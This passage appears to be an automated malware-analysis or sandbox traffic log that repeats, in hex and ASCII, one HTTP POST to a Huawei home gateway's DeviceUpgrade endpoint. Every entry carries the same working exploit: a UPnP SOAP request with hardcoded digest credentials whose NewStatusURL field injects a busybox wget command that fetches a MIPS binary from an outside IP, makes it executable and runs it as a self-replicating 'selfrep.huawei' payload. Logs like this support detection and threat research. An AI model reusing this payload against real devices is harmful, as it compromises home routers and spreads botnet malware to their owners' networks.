xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
